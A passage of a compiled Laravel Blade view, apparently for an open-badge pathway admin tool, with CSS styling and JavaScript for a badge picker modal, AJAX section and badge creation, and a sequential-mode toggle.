    font-weight: 500;
    line-height: 1.3;
    margin-bottom: 0.5rem;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
    max-width: 100%;
}

.badge-card-actions {
    display: flex;
    justify-content: center;
    gap: 0.5rem;
    opacity: 0;
    transition: opacity 0.2s;
}

.badge-card:hover .badge-card-actions {
    opacity: 1;
}

.badge-card-action {
    background: none;
    border: none;
    padding: 0.25rem;
    color: #6c757d;
    cursor: pointer;
    border-radius: 4px;
}

.badge-card-action:hover {
    background: #e9ecef;
    color: #212529;
}

.badge-card-action.text-danger:hover {
    background: #f8d7da;
    color: #dc3545;
}

/* Add Badge Button (circular +) */
.add-badge-card {
    background: transparent;
    border: 2px dashed #ced4da;
    border-radius: 12px;
    padding: 1rem;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    min-height: 120px;
    cursor: pointer;
    transition: all 0.2s;
}

.add-badge-card:hover {
    border-color: #0d6efd;
    background: rgba(13, 110, 253, 0.02);
}

.add-badge-icon {
    width: 48px;
    height: 48px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.5rem;
    color: #6c757d;
    transition: all 0.2s;
}

.add-badge-card:hover .add-badge-icon {
    border-color: #0d6efd;
    color: #0d6efd;
}

/* Large circular + for empty state */
.add-badge-circle {
    width: 80px;
    height: 80px;
    border: 3px dashed #ced4da;
    border-radius: 50%;
    background: transparent;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    font-size: 2.5rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
}

.add-badge-circle:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.02);
}

/* Section Divider */
.section-divider {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0.75rem 0;
    margin: 1rem 0;
    border-bottom: 1px solid #e9ecef;
}

.section-divider-label {
    font-weight: 500;
    color: #495057;
}

.section-divider-actions {
    display: flex;
    gap: 0.25rem;
}

/* Badge Preview in Modals */
.badge-preview {
    padding: 1.5rem;
    background: #f8f9fa;
    border-radius: 12px;
}
.badge-preview-image {
    width: 80px;
    height: 80px;
    object-fit: contain;
    border-radius: 8px;
    transition: all 0.3s;
}
.badge-preview-image.placeholder {
    opacity: 0.4;
    filter: grayscale(100%);
}
.badge-preview-image.loading {
    animation: pulse 1s infinite;
}
.badge-preview-status {
    margin-top: 0.5rem;
    font-size: 0.8125rem;
    color: #6c757d;
}
.badge-preview-status.success {
    color: #198754;
}
.badge-preview-status.error {
    color: #dc3545;
}
@keyframes pulse {
    0%, 100% { opacity: 0.4; }
    50% { opacity: 0.7; }
}

/* Visual Connectors */
.required-badges-section {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 1rem 0;
}

/* Pathway Mode Toggle (Sequential/Any order) */
.pathway-mode-toggle {
    position: relative;
    margin-bottom: 1rem;
}

.pathway-mode-btn {
    display: inline-flex;
    align-items: center;
    padding: 0.375rem 0.875rem;
    background: #f8f9fa;
    border: 1px solid #dee2e6;
    border-radius: 20px;
    font-size: 0.8125rem;
    color: #495057;
    cursor: pointer;
    transition: all 0.2s;
}

.pathway-mode-btn:hover {
    background: #e9ecef;
    border-color: #ced4da;
}

.pathway-mode-btn.active {
    background: #e7f1ff;
    border-color: #b6d4fe;
    color: #0d6efd;
}

.pathway-mode-btn .mode-chevron {
    transition: transform 0.2s;
}

.pathway-mode-btn.open .mode-chevron {
    transform: rotate(180deg);
}

.pathway-mode-dropdown {
    display: none;
    position: absolute;
    top: 100%;
    left: 50%;
    transform: translateX(-50%);
    margin-top: 0.5rem;
    background: white;
    border: 1px solid #dee2e6;
    border-radius: 10px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    z-index: 1000;
    min-width: 220px;
    overflow: hidden;
}

.pathway-mode-dropdown.show {
    display: block;
}

.mode-option {
    padding: 0.75rem 1rem;
    cursor: pointer;
    transition: background 0.15s;
}

.mode-option:hover {
    background: #f8f9fa;
}

.mode-option.active {
    background: #e7f1ff;
}

.mode-option strong {
    display: block;
    font-size: 0.875rem;
    color: #212529;
}

.mode-option .mode-description {
    display: block;
    font-size: 0.75rem;
    color: #6c757d;
    margin-top: 0.125rem;
}

.mode-option + .mode-option {
    border-top: 1px solid #f0f0f0;
}

.connector-down {
    display: flex;
    flex-direction: column;
    align-items: center;
    position: relative;
    padding: 0.5rem 0;
}

.connector-line {
    width: 2px;
    height: 24px;
    background: #dee2e6;
}

.connector-and {
    width: 36px;
    height: 36px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    background: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.25rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
}

.connector-and:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.05);
}

.badge-or-connector {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 0 0.25rem;
    font-size: 0.75rem;
    font-weight: 500;
    color: #6c757d;
    text-transform: uppercase;
}

/* Badge row (horizontal badges, wraps when needed) */
.badge-row {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    justify-content: flex-start;
    gap: 0.75rem;
    padding: 0.5rem 1rem;
    transition: background 0.2s, box-shadow 0.2s;
    max-width: 100%;
}

/* Center badges when they fit */
@media (min-width: 768px) {
    .badge-row {
        justify-content: center;
    }
}

/* Center add badge button (for new section) */
.add-badge-center {
    width: 36px;
    height: 36px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    background: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.25rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
}

.add-badge-center:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.05);
}

.add-section-connector {
    margin-top: 0.5rem;
}

.add-section-connector .connector-line {
    height: 16px;
}

/* Section Rule Indicator */
.section-rule-indicator {
    position: relative;
    align-self: flex-start;
    margin-left: 1rem;
    margin-bottom: -0.5rem;
    z-index: 5;
}

.rule-dropdown-toggle {
    display: inline-flex;
    align-items: center;
    gap: 0.375rem;
    padding: 0.25rem 0.75rem;
    background: #e9ecef;
    border: none;
    border-radius: 20px;
    font-size: 0.75rem;
    color: #495057;
    cursor: pointer;
    transition: all 0.2s;
}

.rule-dropdown-toggle:hover {
    background: #dee2e6;
    color: #212529;
}

.rule-dropdown-toggle .rule-chevron {
    transition: transform 0.2s;
}

.rule-dropdown-toggle.open .rule-chevron {
    transform: rotate(180deg);
}

.rule-dropdown {
    display: none;
    position: absolute;
    top: 100%;
    left: 50%;
    transform: translateX(-50%);
    margin-top: 0.25rem;
    background: white;
    border: 1px solid #dee2e6;
    border-radius: 8px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.15);
    z-index: 1000;
    min-width: 160px;
    overflow: hidden;
}

.rule-dropdown.show {
    display: block;
}

/* Highlight badge row when hovering rule indicator */
.section-rule-indicator:hover + .badge-row {
    background: rgba(13, 110, 253, 0.08);
    border-radius: 12px;
    box-shadow: 0 0 0 3px rgba(13, 110, 253, 0.15);
}

.rule-option {
    padding: 0.5rem 0.75rem;
    font-size: 0.8125rem;
    color: #495057;
    cursor: pointer;
    transition: background 0.15s;
}

.rule-option:hover {
    background: #f8f9fa;
}

.rule-option.active {
    background: #e7f1ff;
    color: #0d6efd;
    font-weight: 500;
}

.rule-option + .rule-option {
    border-top: 1px solid #f0f0f0;
}

/* Curved Connector */
.curved-connector-container {
    position: relative;
    width: 100%;
    height: 70px;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: flex-start;
    padding-top: 4px;
}

.curved-connector-container.master-connector {
    height: 50px;
    padding-top: 0;
}

.curved-connector-svg {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    pointer-events: none;
    overflow: visible;
}

.curved-connector-svg path {
    fill: none;
    stroke: #dee2e6;
    stroke-width: 2;
    stroke-linecap: round;
}

/* Sequential mode arrows - pointing up (from badges toward master) */
.curved-connector-svg .arrow-up {
    fill: #adb5bd;
}

.connector-add-btn {
    position: relative;
    z-index: 10;
    width: 32px;
    height: 32px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    background: #f8f9fa;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.125rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
    flex-shrink: 0;
}

.connector-add-btn:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.05);
}
</style>

<?php $__env->startPush('scripts'); ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
    // Rule type toggle for N of M
    document.querySelectorAll('.rule-type-select').forEach(function(select) {
        select.addEventListener('change', function() {
            const targetId = this.getAttribute('data-target');
            const countGroup = document.getElementById(targetId);
            if (countGroup) {
                countGroup.style.display = this.value === 'n_of_m' ? 'block' : 'none';
            }
        });
    });

    // Badge resolution - Fetch button click
    document.querySelectorAll('.resolve-badge-btn').forEach(function(btn) {
        btn.addEventListener('click', function() {
            const inputId = this.getAttribute('data-input-id');
            const previewId = this.getAttribute('data-preview-id');
            const titleId = this.getAttribute('data-title-id');

            const input = document.getElementById(inputId);
            const previewImg = document.getElementById('preview-img-' + previewId);
            const previewStatus = document.getElementById('preview-status-' + previewId);
            const titleInput = document.getElementById(titleId);

            const achievementId = input ? input.value.trim() : '';

            if (!achievementId) {
                if (previewStatus) {
                    previewStatus.textContent = 'Please enter an achievement ID';
                    previewStatus.className = 'badge-preview-status error';
                }
                return;
            }

            // Show loading state
            if (previewImg) {
                previewImg.classList.add('loading');
            }
            if (previewStatus) {
                previewStatus.textContent = 'Resolving...';
                previewStatus.className = 'badge-preview-status';
            }
            btn.disabled = true;

            // Make AJAX request
            fetch('<?php echo e(route("admin.badge-albums.resolve-badge")); ?>', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRF-TOKEN': '<?php echo e(csrf_token()); ?>',
                    'Accept': 'application/json'
                },
                body: JSON.stringify({ achievement_id: achievementId })
            })
            .then(response => response.json())
            .then(data => {
                btn.disabled = false;
                if (previewImg) {
                    previewImg.classList.remove('loading');
                }

                if (data.success && data.image_url) {
                    // Update preview image
                    if (previewImg) {
                        previewImg.src = data.image_url;
                        previewImg.classList.remove('placeholder');
                    }
                    if (previewStatus) {
                        previewStatus.textContent = 'Badge found!';
                        previewStatus.className = 'badge-preview-status success';
                    }
                    // Auto-fill title if available and title field is empty
                    if (data.title && titleInput && !titleInput.value.trim()) {
                        titleInput.value = data.title;
                    }
                } else {
                    // Show placeholder
                    if (previewImg && data.placeholder) {
                        previewImg.src = data.placeholder;
                        previewImg.classList.add('placeholder');
                    }
                    if (previewStatus) {
                        previewStatus.textContent = 'Could not resolve badge image';
                        previewStatus.className = 'badge-preview-status error';
                    }
                }
            })
            .catch(error => {
                console.error('Error resolving badge:', error);
                btn.disabled = false;
                if (previewImg) {
                    previewImg.classList.remove('loading');
                }
                if (previewStatus) {
                    previewStatus.textContent = 'Error resolving badge';
                    previewStatus.className = 'badge-preview-status error';
                }
            });
        });
    });

    // =============================================
    // Badge Picker Modal
    // =============================================
    const badgePickerModal = document.getElementById('badgePickerModal');
    const searchInput = document.getElementById('badge-search-input');
    const loadingEl = document.getElementById('badge-picker-loading');
    const notConfiguredEl = document.getElementById('badge-picker-not-configured');
    const errorEl = document.getElementById('badge-picker-error');
    const errorMsgEl = document.getElementById('badge-picker-error-message');
    const resultsEl = document.getElementById('badge-picker-results');
    const emptyEl = document.getElementById('badge-picker-empty');
    const paginationEl = document.getElementById('badge-picker-pagination');
    const prevBtn = document.getElementById('badge-picker-prev');
    const nextBtn = document.getElementById('badge-picker-next');
    const pageInfoEl = document.getElementById('badge-picker-page-info');

    let currentPickerTarget = null;
    let currentOffset = 0;
    let currentQuery = '';
    let totalResults = 0;
    const limit = 12;
    let searchTimeout = null;
    let badgauConfigured = null;
    let activeSource = 'badgau'; // 'badgau' | 'openskillpaths'
    let parentModal = null; // Track the parent modal that opened the picker

    // Check badgau status on page load
    fetch('<?php echo e(route("admin.badge-albums.badgau-status")); ?>?album_id=<?php echo e($album->id); ?>')
        .then(r => r.json())
        .then(data => {
            badgauConfigured = data.configured;
        })
        .catch(() => {
            badgauConfigured = false;
        });

    // Tab switching
    document.querySelectorAll('#badgePickerTabs .nav-link').forEach(tab => {
        tab.addEventListener('click', function() {
            document.querySelectorAll('#badgePickerTabs .nav-link').forEach(t => t.classList.remove('active'));
            this.classList.add('active');
            activeSource = this.dataset.source;
            currentOffset = 0;
            if (activeSource === 'badgau' && badgauConfigured === false) {
                showNotConfigured();
            } else {
                searchBadges(currentQuery);
            }
        });
    });

    // Open badge picker (master badge modal — Badgau only)
    document.querySelectorAll('.open-badge-picker').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            console.log('Opening badge picker for master badge...');
            isMasterBadgeMode = true;

            currentPickerTarget = {
                achievementInput: document.getElementById(this.dataset.achievementInput),
                titleInput: document.getElementById(this.dataset.titleInput),
                previewImg: document.getElementById(this.dataset.previewImg),
                previewStatus: document.getElementById(this.dataset.previewStatus),
                imageInput: document.getElementById(this.dataset.imageInput)
            };

            // Find and hide parent modal if any
            const parentModalEl = this.closest('.modal');
            if (parentModalEl) {
                parentModal = bootstrap.Modal.getInstance(parentModalEl);
                if (parentModal) {
                    parentModal.hide();
                }
            }

            // Reset state
            currentOffset = 0;
            currentQuery = '';
            searchInput.value = '';

            // Show picker modal after a small delay to let parent modal close
            setTimeout(() => {
                const modal = new bootstrap.Modal(badgePickerModal);
                modal.show();

                openPickerSearch();
            }, 150);
        });
    });

    // Search on input
    searchInput.addEventListener('input', function() {
        clearTimeout(searchTimeout);
        searchTimeout = setTimeout(() => {
            currentOffset = 0;
            currentQuery = this.value;
            searchBadges(currentQuery);
        }, 300);
    });

    // Pagination
    prevBtn.addEventListener('click', () => {
        if (currentOffset > 0) {
            currentOffset -= limit;
            searchBadges(currentQuery);
        }
    });

    nextBtn.addEventListener('click', () => {
        if (currentOffset + limit < totalResults) {
            currentOffset += limit;
            searchBadges(currentQuery);
        }
    });

    // When badge picker modal is closed (cancelled), reopen parent modal
    badgePickerModal.addEventListener('hidden.bs.modal', function() {
        if (parentModal) {
            setTimeout(() => {
                parentModal.show();
                parentModal = null;
            }, 150);
        }
    });

    function showNotConfigured() {
        loadingEl.style.display = 'none';
        resultsEl.style.display = 'none';
        emptyEl.style.display = 'none';
        errorEl.style.display = 'none';
        paginationEl.style.display = 'none';
        notConfiguredEl.style.display = 'block';
    }

    function showLoading() {
        loadingEl.style.display = 'block';
        resultsEl.style.display = 'none';
        emptyEl.style.display = 'none';
        errorEl.style.display = 'none';
        notConfiguredEl.style.display = 'none';
        paginationEl.style.display = 'none';
    }

    function showError(message) {
        loadingEl.style.display = 'none';
        resultsEl.style.display = 'none';
        emptyEl.style.display = 'none';
        notConfiguredEl.style.display = 'none';
        paginationEl.style.display = 'none';
        errorMsgEl.textContent = message;
        errorEl.style.display = 'block';
    }

    function showResults(badges, meta) {
        loadingEl.style.display = 'none';
        errorEl.style.display = 'none';
        notConfiguredEl.style.display = 'none';

        if (badges.length === 0) {
            resultsEl.style.display = 'none';
            paginationEl.style.display = 'none';
            emptyEl.style.display = 'block';
            return;
        }

        emptyEl.style.display = 'none';
        resultsEl.style.display = 'grid';

        // Render badges
        resultsEl.innerHTML = badges.map(badge => `
            <div class="badge-picker-item"
                 data-achievement-id="${escapeHtml(badge.achievement_id)}"
                 data-name="${escapeHtml(badge.name)}"
                 data-image="${escapeHtml(badge.image_url || '')}"
                 data-description="${escapeHtml(badge.description || '')}"
                 data-issuer-name="${escapeHtml(badge.issuer?.name || '')}"
                 data-issuer-url="${escapeHtml(badge.issuer?.url || '')}">
                <img src="${badge.image_url || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'}"
                     alt="${escapeHtml(badge.name)}"
                     onerror="this.src='<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'">
                <div class="badge-name">${escapeHtml(badge.name)}</div>
                <div class="badge-issuer">${escapeHtml(badge.issuer?.name || '')}</div>
                <button type="button" class="badge-info-btn" title="View details"
                        onclick="event.stopPropagation(); showBadgeDetail(this.closest('.badge-picker-item'));">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16">
                        <path d="M8 15A7 7 0 1 1 8 1a7 7 0 0 1 0 14zm0 1A8 8 0 1 0 8 0a8 8 0 0 0 0 16z"/>
                        <path d="m8.93 6.588-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM9 4.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0z"/>
                    </svg>
                </button>
            </div>
        `).join('');

        // Add click handlers
        resultsEl.querySelectorAll('.badge-picker-item').forEach(item => {
            item.addEventListener('click', () => selectBadge(item));
        });

        // Update pagination
        totalResults = meta.total || badges.length;
        if (totalResults > limit) {
            paginationEl.style.display = 'flex';
            prevBtn.disabled = currentOffset === 0;
            nextBtn.disabled = currentOffset + limit >= totalResults;
            const start = currentOffset + 1;
            const end = Math.min(currentOffset + limit, totalResults);
            pageInfoEl.textContent = `${start}-${end} of ${totalResults}`;
        } else {
            paginationEl.style.display = 'none';
        }
    }

    let isMasterBadgeMode = false;

    function openPickerSearch() {
        const tabsEl = document.getElementById('badgePickerTabs');

        const titleEl = document.getElementById('badgePickerTitle');
        if (isMasterBadgeMode) {
            // Master badge: only Badgau (issuer must own the credential)
            activeSource = 'badgau';
            tabsEl.style.display = 'none';
            if (titleEl) titleEl.textContent = 'Select Master Badge from Your Badgau';
        } else {
            // Requirement badges: both sources available
            tabsEl.style.display = '';
            activeSource = badgauConfigured === false ? 'openskillpaths' : 'badgau';
            if (titleEl) titleEl.textContent = 'Select Badge';
        }

        document.querySelectorAll('#badgePickerTabs .nav-link').forEach(t => {
            t.classList.toggle('active', t.dataset.source === activeSource);
        });
        searchBadges('');
    }

    function searchBadges(query) {
        if (activeSource === 'openskillpaths') {
            searchOpenSkillPaths(query);
        } else {
            searchBadgau(query);
        }
    }

    function searchBadgau(query) {
        showLoading();

        const params = new URLSearchParams({
            q: query,
            limit: limit,
            offset: currentOffset,
            album_id: '<?php echo e($album->id); ?>'
        });

        fetch('<?php echo e(route("admin.badge-albums.search-badges")); ?>?' + params)
            .then(r => r.json())
            .then(data => {
                if (!data.success) {
                    if (data.error === 'Badgau integration not configured') {
                        badgauConfigured = false;
                        showNotConfigured();
                    } else {
                        showError(data.error || 'Failed to search badges');
                    }
                    return;
                }
                // Normalize Badgau response to match expected shape
                const badges = (data.data || []).map(b => ({
                    achievement_id: b.achievement_id,
                    name: b.title || b.name,
                    description: b.description || '',
                    image_url: b.image_url || null,
                    issuer: b.issuer || {},
                }));
                showResults(badges, data.meta || {});
            })
            .catch(() => showError('Failed to connect to badge server'));
    }

    function searchOpenSkillPaths(query) {
        showLoading();

        const params = new URLSearchParams({ limit: limit, offset: currentOffset });
        if (query) params.set('q', query);

        fetch('/api/pathways/badge-classes?' + params)
            .then(r => r.json())
            .then(data => {
                if (!data.success) {
                    showError(data.error || 'Failed to search OpenSkillPaths');
                    return;
                }
                const badges = (data.data || []).map(b => ({
                    achievement_id: b.identifier,
                    name: b.name,
                    description: b.description || '',
                    image_url: b.image || null,
                    issuer: {
                        name: b.recognizedBy?.name || b.issuer?.name || '',
                        url: b.recognizedBy?.url || b.issuer?.url || '',
                    },
                }));
                showResults(badges, data.meta || {});
            })
            .catch(() => showError('Failed to connect to OpenSkillPaths'));
    }

    function selectBadge(item) {
        const achievementId = item.dataset.achievementId;
        const name = item.dataset.name;
        const imageUrl = item.dataset.image;

        if (currentPickerTarget && currentPickerTarget.directMode) {
            // Close modal first
            bootstrap.Modal.getInstance(badgePickerModal).hide();

            if (currentPickerTarget.createSection) {
                // Create new section with this badge via AJAX
                addSectionWithBadge(achievementId, name, imageUrl, currentPickerTarget.afterSectionId);
                return;
            }

            // Add to existing section via AJAX
            addBadgeToSection(
                currentPickerTarget.sectionId,
                achievementId,
                name,
                imageUrl,
                currentPickerTarget.isOptional
            );
            return;
        }

        if (currentPickerTarget) {
            // Normal mode: Fill input fields in parent modal
            if (currentPickerTarget.achievementInput) {
                currentPickerTarget.achievementInput.value = achievementId;
            }

            if (currentPickerTarget.titleInput && name) {
                currentPickerTarget.titleInput.value = name;
            }

            if (currentPickerTarget.previewImg) {
                currentPickerTarget.previewImg.src = imageUrl || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>';
                currentPickerTarget.previewImg.classList.toggle('placeholder', !imageUrl);
            }

            if (currentPickerTarget.previewStatus) {
                currentPickerTarget.previewStatus.textContent = 'Badge selected';
                currentPickerTarget.previewStatus.className = 'badge-preview-status success';
            }

            if (currentPickerTarget.imageInput) {
                currentPickerTarget.imageInput.value = imageUrl || '';
            }
        }

        // Close picker modal (the hidden.bs.modal event will handle reopening parent)
        bootstrap.Modal.getInstance(badgePickerModal).hide();
    }

    // Save scroll position before reload
    function saveScrollAndReload() {
        sessionStorage.setItem('badgeAlbumScrollY', window.scrollY);
        window.location.reload();
    }

    // Restore scroll position on page load
    const savedScrollY = sessionStorage.getItem('badgeAlbumScrollY');
    if (savedScrollY) {
        sessionStorage.removeItem('badgeAlbumScrollY');
        window.scrollTo(0, parseInt(savedScrollY));
    }

    // AJAX: Add badge to existing section
    function addBadgeToSection(sectionId, achievementId, title, imageUrl, isOptional) {
        const formData = new FormData();
        formData.append('achievement_id', achievementId);
        formData.append('title', title);
        formData.append('image_url', imageUrl || '');
        formData.append('is_optional', isOptional ? '1' : '0');
        formData.append('_token', '<?php echo e(csrf_token()); ?>');

        fetch('/admin/badge-albums/<?php echo e($album->id); ?>/sections/' + sectionId + '/slots', {
            method: 'POST',
            body: formData,
            headers: {
                'Accept': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            }
        })
        .then(response => {
            if (response.redirected) {
                saveScrollAndReload();
                return;
            }
            return response.json();
        })
        .then(data => {
            if (data && data.success) {
                saveScrollAndReload();
            } else if (data && data.error) {
                alert(data.error);
            } else {
                saveScrollAndReload();
            }
        })
        .catch(error => {
            console.error('Error adding badge:', error);
            saveScrollAndReload();
        });
    }

    // AJAX: Create new section with first badge
    function addSectionWithBadge(achievementId, title, imageUrl, afterSectionId = null) {
        const formData = new FormData();
        formData.append('title', 'Required Badges');
        formData.append('rule_type', 'all');
        formData.append('first_badge_achievement_id', achievementId);
        formData.append('first_badge_title', title);
        formData.append('first_badge_image_url', imageUrl || '');
        if (afterSectionId) {
            formData.append('after_section_id', afterSectionId);
        }
        formData.append('_token', '<?php echo e(csrf_token()); ?>');

        fetch('<?php echo e(route("admin.badge-albums.sections.store", $album)); ?>', {
            method: 'POST',
            body: formData,
            headers: {
                'Accept': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            }
        })
        .then(response => {
            if (response.redirected) {
                saveScrollAndReload();
                return;
            }
            return response.json();
        })
        .then(data => {
            if (data && data.success) {
                saveScrollAndReload();
            } else if (data && data.error) {
                alert(data.error);
            } else {
                saveScrollAndReload();
            }
        })
        .catch(error => {
            console.error('Error adding section:', error);
            saveScrollAndReload();
        });
    }

    // =============================================
    // Badge Detail Panel (inline within picker modal)
    // =============================================
    let currentDetailItem = null;
    const detailPanel = document.getElementById('badge-detail-panel');
    const detailSelectBtn = document.getElementById('badgeDetailSelectBtn');

    window.showBadgeDetail = function(item) {
        currentDetailItem = item;
        const name = item.dataset.name || 'Untitled';
        const image = item.dataset.image || '<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>';
        const description = item.dataset.description || '';
        const issuerName = item.dataset.issuerName || '';
        const issuerUrl = item.dataset.issuerUrl || '';
        const achievementId = item.dataset.achievementId || '';

        document.getElementById('badgeDetailName').textContent = name;
        document.getElementById('badgeDetailImage').src = image;

        const descEl = document.getElementById('badgeDetailDescription');
        if (description) {
            descEl.textContent = description;
            descEl.style.display = '';
        } else {
            descEl.style.display = 'none';
        }

        const issuerRow = document.getElementById('badgeDetailIssuerRow');
        const issuerEl = document.getElementById('badgeDetailIssuer');
        if (issuerName) {
            if (issuerUrl) {
                issuerEl.innerHTML = `<a href="${escapeHtml(issuerUrl)}" target="_blank" rel="noopener">${escapeHtml(issuerName)}</a>`;
            } else {
                issuerEl.textContent = issuerName;
            }
            issuerRow.style.display = '';
        } else {
            issuerRow.style.display = 'none';
        }

        const achievementRow = document.getElementById('badgeDetailAchievementRow');
        const achievementEl = document.getElementById('badgeDetailAchievementId');
        if (achievementId) {
            achievementEl.textContent = achievementId;
            achievementRow.style.display = '';
        } else {
            achievementRow.style.display = 'none';
        }

        // Hide search/grid, show detail panel
        document.getElementById('badge-picker-results').style.display = 'none';
        document.getElementById('badge-picker-pagination').style.display = 'none';
        document.getElementById('badge-picker-empty').style.display = 'none';
        document.getElementById('badge-search-input').closest('.mb-3').style.display = 'none';
        document.getElementById('badgePickerTabs').style.display = 'none';
        detailPanel.style.display = '';
        detailSelectBtn.style.display = '';
    }

    function hideDetailPanel() {
        detailPanel.style.display = 'none';
        detailSelectBtn.style.display = 'none';
        // Restore search UI
        document.getElementById('badge-search-input').closest('.mb-3').style.display = '';
        document.getElementById('badgePickerTabs').style.display = '';
        document.getElementById('badge-picker-results').style.display = 'grid';
    }

    document.getElementById('badgeDetailBackBtn').addEventListener('click', hideDetailPanel);

    detailSelectBtn.addEventListener('click', function() {
        if (currentDetailItem) {
            selectBadge(currentDetailItem);
        }
    });

    function escapeHtml(text) {
        if (!text) return '';
        const div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }

    // =============================================
    // Direct Badge Picker (for + buttons)
    // =============================================

    // Handle inline + buttons (add to existing section as optional)
    document.querySelectorAll('.open-badge-picker-direct').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            console.log('Opening badge picker for existing section...');
            isMasterBadgeMode = false;

            const sectionId = this.dataset.sectionId;
            const defaultOptional = this.dataset.defaultOptional === '1';

            currentPickerTarget = {
                directMode: true,
                sectionId: sectionId,
                isOptional: defaultOptional,
                createSection: false
            };

            parentModal = null;
            currentOffset = 0;
            currentQuery = '';
            searchInput.value = '';

            const modal = new bootstrap.Modal(badgePickerModal);
            modal.show();

            openPickerSearch();
        });
    });

    // Handle "add new section" + button (below)
    document.querySelectorAll('.open-badge-picker-new-section').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            console.log('Opening badge picker for new section...');
            isMasterBadgeMode = false;

            currentPickerTarget = {
                directMode: true,
                sectionId: null,
                isOptional: false,
                createSection: true,
                afterSectionId: null
            };

            parentModal = null;
            currentOffset = 0;
            currentQuery = '';
            searchInput.value = '';

            const modal = new bootstrap.Modal(badgePickerModal);
            modal.show();

            openPickerSearch();
        });
    });

    // Handle "insert between sections" + button
    document.querySelectorAll('.open-badge-picker-insert').forEach(btn => {
        btn.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();

            console.log('Opening badge picker to insert between sections...');
            isMasterBadgeMode = false;

            const afterSectionId = this.dataset.afterSectionId;

            currentPickerTarget = {
                directMode: true,
                sectionId: null,
                isOptional: false,
                createSection: true,
                afterSectionId: afterSectionId
            };

            parentModal = null;
            currentOffset = 0;
            currentQuery = '';
            searchInput.value = '';

            const modal = new bootstrap.Modal(badgePickerModal);
            modal.show();

            openPickerSearch();
        });
    });

    // =============================================
    // Pathway Mode Toggle (Sequential/Any order)
    // =============================================

    const sequentialToggle = document.getElementById('sequentialToggle');
    const pathwayModeDropdown = document.getElementById('pathwayModeDropdown');

    if (sequentialToggle && pathwayModeDropdown) {
        sequentialToggle.addEventListener('click', function(e) {
            e.preventDefault();
            e.stopPropagation();
            this.classList.toggle('open');
            pathwayModeDropdown.classList.toggle('show');
        });

        // Close dropdown when clicking outside
        document.addEventListener('click', function(e) {
            if (!e.target.closest('.pathway-mode-toggle')) {
                sequentialToggle.classList.remove('open');
                pathwayModeDropdown.classList.remove('show');
            }
        });

        // Handle mode option selection
        pathwayModeDropdown.querySelectorAll('.mode-option').forEach(option => {
            option.addEventListener('click', function(e) {
                e.preventDefault();
                e.stopPropagation();

                const isSequential = this.dataset.sequential === '1';

                // Update active state
                pathwayModeDropdown.querySelectorAll('.mode-option').forEach(o => o.classList.remove('active'));
                this.classList.add('active');

                // Update button text and state
                sequentialToggle.querySelector('.mode-text').textContent = isSequential ? 'Complete in order' : 'Any order';
                sequentialToggle.classList.toggle('active', isSequential);
                sequentialToggle.dataset.sequential = isSequential ? '1' : '0';

                // Close dropdown
                sequentialToggle.classList.remove('open');
                pathwayModeDropdown.classList.remove('show');

                // Redraw connectors with/without arrows
                drawCurvedConnectors();

                // Save via AJAX
                updateSequentialMode(isSequential);
            });
        });
    }

    function updateSequentialMode(isSequential) {
        const formData = new FormData();
        formData.append('is_sequential', isSequential ? '1' : '0');
        formData.append('title', '<?php echo e($album->title); ?>');
        formData.append('_token', '<?php echo e(csrf_token()); ?>');
        formData.append('_method', 'PUT');

        fetch('<?php echo e(route('admin.badge-albums.update', $album)); ?>', {
            method: 'POST',
            body: formData,
            headers: {
                'Accept': 'application/json',
                'X-Requested-With': 'XMLHttpRequest'
            }
        })
        .then(response => {
            if (!response.ok) {
                console.error('Failed to update sequential mode');
            }
        })
        .catch(error => {
            console.error('Error updating sequential mode:', error);
        });
    }

    // =============================================
    // Section Rule Dropdown
    // =============================================

    // Toggle dropdown on button click
